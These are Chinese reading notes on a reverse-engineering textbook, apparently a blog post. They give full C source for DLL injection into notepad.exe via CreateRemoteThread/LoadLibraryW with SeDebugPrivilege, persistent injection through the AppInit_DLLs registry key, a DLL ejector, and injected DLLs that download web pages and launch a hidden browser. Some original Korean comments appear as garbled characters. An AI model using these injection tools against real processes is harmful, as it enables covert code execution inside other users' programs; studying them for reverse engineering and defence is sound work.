《逆向工程核心原理》读书笔记

CreateRemoteThread()

myhack.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "urlmon.lib") //链接urlmon.lib
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam){
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )//返回当前进程文件所在路径
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );//字符第一次出现的位置
if( !p )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);//字符串复制
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);//从指定url下载文件
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){//dll加载入口
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason ){
case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!!");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}
return TRUE;
}

InjectDll.exe:

在获取LoadLibraryW的地址时,实际获得的不是notepad.exe的地址,而是InjectDll.exe的LoadLibraryW的地址。因为系统中所有进程的kernel32.dll加载位置相同,如果开启ASLR则不保证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include "windows.h"
#include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) ){
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ){ // receives LUID of privilege
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) ){
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ){
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. dwPID �� �̿��Ͽ� ��� ���μ���(notepad.exe)�� HANDLE�� ���Ѵ�.
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ){//获得目标进程句柄
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
// #2. ��� ���μ���(notepad.exe) �޸𸮿� szDllName ũ�⸸ŭ �޸𸮸� �Ҵ��Ѵ�.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//写入进程
// #3. �Ҵ� ���� �޸𸮿� myhack.dll ���("c:\\myhack.dll")�� ����.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);//写入内存空间
// #4. LoadLibraryA() API �ּҸ� ���Ѵ�.
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//获取LoadLibraryW的地址
// #5. notepad.exe ���μ����� �����带 ����
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);//运行远程线程
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int _tmain(int argc, TCHAR *argv[]){
if( argc != 3){
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0;
}

AppInit_DLLs

注册表下:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\下有LoadAppInit_DLLs和AppInits_DLLs两个键值,将LoadAppInit_DLLs的值设为1,把将要注入的DLL路径写入AppInit_DLLs项目。重启系统,Windows会将该DLL注入所有加载user32.dll的进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include "windows.h"
#include "tchar.h"
#define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
TCHAR szCmd[MAX_PATH] = {0,};
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;
STARTUPINFO si = {0,};
PROCESS_INFORMATION pi = {0,};
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;//隐藏模式运行
switch( fdwReason ){
case DLL_PROCESS_ATTACH :
if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
break;
if( !(p = _tcsrchr(szPath, '\\')) )
break;
if( _tcsicmp(p+1, DEF_DST_PROC) )//如果加载自己的进程为notepad.exe
break;
wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi) )//运行IE
break;
if( pi.hProcess != NULL )
CloseHandle(pi.hProcess);
break;
}
return TRUE;
}

DLL卸载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include "windows.h"
#include "tlhelp32.h"
#include "tchar.h"
#define DEF_PROC_NAME (L"notepad.exe")
#define DEF_DLL_NAME (L"myhack.dll")
DWORD FindProcessID(LPCTSTR szProcessName){
DWORD dwPID = 0xFFFFFFFF;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do{
if(!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)){
dwPID = pe.th32ProcessID;
break;
}
}
while(Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return dwPID;
}
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) ){
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ){ // receives LUID of privilege
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) ){
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ){
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName){
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
HMODULE hModule = NULL;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
// dwPID = notepad ����� ID
// TH32CS_SNAPMODULE �Ķ���͸� �̿��ؼ� notepad ���μ����� �ε��� DLL �̸��� ����
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ){
if( !_tcsicmp((LPCTSTR)me.szModule, szDllName) ||
!_tcsicmp((LPCTSTR)me.szExePath, szDllName) ){
bFound = TRUE;
break;
}
}
if( !bFound ){
CloseHandle(hSnapshot);
return FALSE;
}
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ){
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
hModule = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr,
0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[]){
DWORD dwPID = 0xFFFFFFFF;
// find process
dwPID = FindProcessID(DEF_PROC_NAME);
if( dwPID == 0xFFFFFFFF ){
_tprintf(L"There is no <%s> process!\n", DEF_PROC_NAME);
return 1;
}
_tprintf(L"PID of \"%s\" is %d\n", DEF_PROC_NAME, dwPID);
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// eject dll
if( EjectDll(dwPID, DEF_DLL_NAME) )
_tprintf(L"EjectDll(%d, \"%s\") success!!!\n", dwPID, DEF_DLL_NAME);
else
_tprintf(L"EjectDll(%d, \"%s\") failed!!!\n", dwPID, DEF_DLL_NAME);
return 0;
}

myhack3.cpp

下载网页文件并拖拽到文本浏览软件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include "stdio.h"
#include "windows.h"
#include "shlobj.h"
#include "Wininet.h"
#include "tchar.h"

#pragma comment(lib, "Wininet.lib")

#define DEF_BUF_SIZE (4096)
#define DEF_URL L"http://www.google.com/index.html"
#define DEF_INDEX_FILE L"index.html"

HWND g_hWnd = NULL;

#ifdef __cplusplus
extern "C" {
#endif
// IDT ������ ���� dummy export function...
__declspec(dllexport) void dummy()
{
return;
}
#ifdef __cplusplus
}
#endif

BOOL DownloadURL(LPCTSTR szURL, LPCTSTR szFile)
{
BOOL bRet = FALSE;
HINTERNET hInternet = NULL, hURL = NULL;
BYTE pBuf[DEF_BUF_SIZE] = {0,};
DWORD dwBytesRead = 0;
FILE *pFile = NULL;
errno_t err = 0;

hInternet = InternetOpen(L"ReverseCore",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
if( NULL == hInternet )
{
OutputDebugString(L"InternetOpen() failed!");
return FALSE;
}

hURL = InternetOpenUrl(hInternet,
szURL,
NULL,
0,
INTERNET_FLAG_RELOAD,
0);
if( NULL == hURL )
{
OutputDebugString(L"InternetOpenUrl() failed!");
goto _DownloadURL_EXIT;
}

if( err = _tfopen_s(&pFile, szFile, L"wt") )
{
OutputDebugString(L"fopen() failed!");
goto _DownloadURL_EXIT;
}

while( InternetReadFile(hURL, pBuf, DEF_BUF_SIZE, &dwBytesRead) )
{
if( !dwBytesRead )
break;

fwrite(pBuf, dwBytesRead, 1, pFile);
}

bRet = TRUE;

_DownloadURL_EXIT:
if( pFile )
fclose(pFile);

if( hURL )
InternetCloseHandle(hURL);

if( hInternet )
InternetCloseHandle(hInternet);

return bRet;
}

BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
DWORD dwPID = 0;

GetWindowThreadProcessId(hWnd, &dwPID);

if( dwPID == (DWORD)lParam )
{
g_hWnd = hWnd;
return FALSE;
}

return TRUE;
}

HWND GetWindowHandleFromPID(DWORD dwPID)
{
EnumWindows(EnumWindowsProc, dwPID);

return g_hWnd;
}

BOOL DropFile(LPCTSTR wcsFile)
{
HWND hWnd = NULL;
DWORD dwBufSize = 0;
BYTE *pBuf = NULL;
DROPFILES *pDrop = NULL;
char szFile[MAX_PATH] = {0,};
HANDLE hMem = 0;

WideCharToMultiByte(CP_ACP, 0, wcsFile, -1,
szFile, MAX_PATH, NULL, NULL);

dwBufSize = sizeof(DROPFILES) + strlen(szFile) + 1;

if( !(hMem = GlobalAlloc(GMEM_ZEROINIT, dwBufSize)) )
{
OutputDebugString(L"GlobalAlloc() failed!!!");
return FALSE;
}

pBuf = (LPBYTE)GlobalLock(hMem);

pDrop = (DROPFILES*)pBuf;
pDrop->pFiles = sizeof(DROPFILES);
strcpy_s((char*)(pBuf + sizeof(DROPFILES)), strlen(szFile)+1, szFile);

GlobalUnlock(hMem);

if( !(hWnd = GetWindowHandleFromPID(GetCurrentProcessId())) )
{
OutputDebugString(L"GetWndHandleFromPID() failed!!!");
return FALSE;
}

PostMessage(hWnd, WM_DROPFILES, (WPARAM)pBuf, NULL);

return TRUE;
}

DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[MAX_PATH] = {0,};
TCHAR *p = NULL;

OutputDebugString(L"ThreadProc() start...");

GetModuleFileName(NULL, szPath, sizeof(szPath));

if( p = _tcsrchr(szPath, L'\\') )
{
_tcscpy_s(p+1, wcslen(DEF_INDEX_FILE)+1, DEF_INDEX_FILE);

OutputDebugString(L"DownloadURL()");
if( DownloadURL(DEF_URL, szPath) )
{
OutputDebugString(L"DropFlie()");
DropFile(szPath);
}
}

OutputDebugString(L"ThreadProc() end...");

return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
CloseHandle(CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL));
break;
}

return TRUE;
}